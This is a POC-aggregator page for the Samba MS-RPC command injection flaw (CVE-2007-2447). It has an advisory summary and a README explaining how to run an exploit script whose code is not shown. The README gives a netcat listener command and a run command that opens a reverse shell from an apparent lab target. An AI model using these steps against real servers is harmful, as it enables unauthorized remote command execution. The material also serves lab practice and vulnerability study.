POC详情: 3618e45814eb1b5bf89648f9ce4415c4a6e0e665

来源
关联漏洞
标题: Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
描述:Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执
描述
Exploit Samba smbd 3.0.20-Debian
介绍
# CVE-2007-2447

🖥️ -n3rdyn3xus- #️⃣ CVE-2007-2447

```
python3 smb3.0.20.py -lh [localhost] -lp [local port] -t [target]
```

### Error

![image](https://github.com/user-attachments/assets/91dd832e-b68d-4db9-b446-2abf4ba18fc8)

The error you're encountering indicates that the Python script is trying to import a module named `smb`, but it is not installed on your system. The smb module is part of the pysmb library, which allows you to interact with SMB/CIFS servers.

To resolve this issue, you need to install the `pysmb` library. You can do this using `pip`. Here's how:

1. Install pysmb:

```
pip install pysmb
```

2. Verify the installation: After installing, you can verify that the pysmb module is installed by running:
```
python -c "import smb; print('pysmb is installed')"
```

![image](https://github.com/user-attachments/assets/04c368b0-82b0-401a-a69f-00c67b671942)


### Create a Netcat listener

```
nc -nlvp 4444
```

### Run the script

```
python3 smb3.0.20.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3
```
![image](https://github.com/user-attachments/assets/ab7dc16f-178e-4ab0-a1f0-a50e88e6f768)

![image](https://github.com/user-attachments/assets/b30c327d-a9ad-4115-9970-e3e2206538c3)




文件快照

[4.0K] /data/pocs/3618e45814eb1b5bf89648f9ce4415c4a6e0e665 ├── [1.2K] README.md └── [2.1K] smb3.0.20.py 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。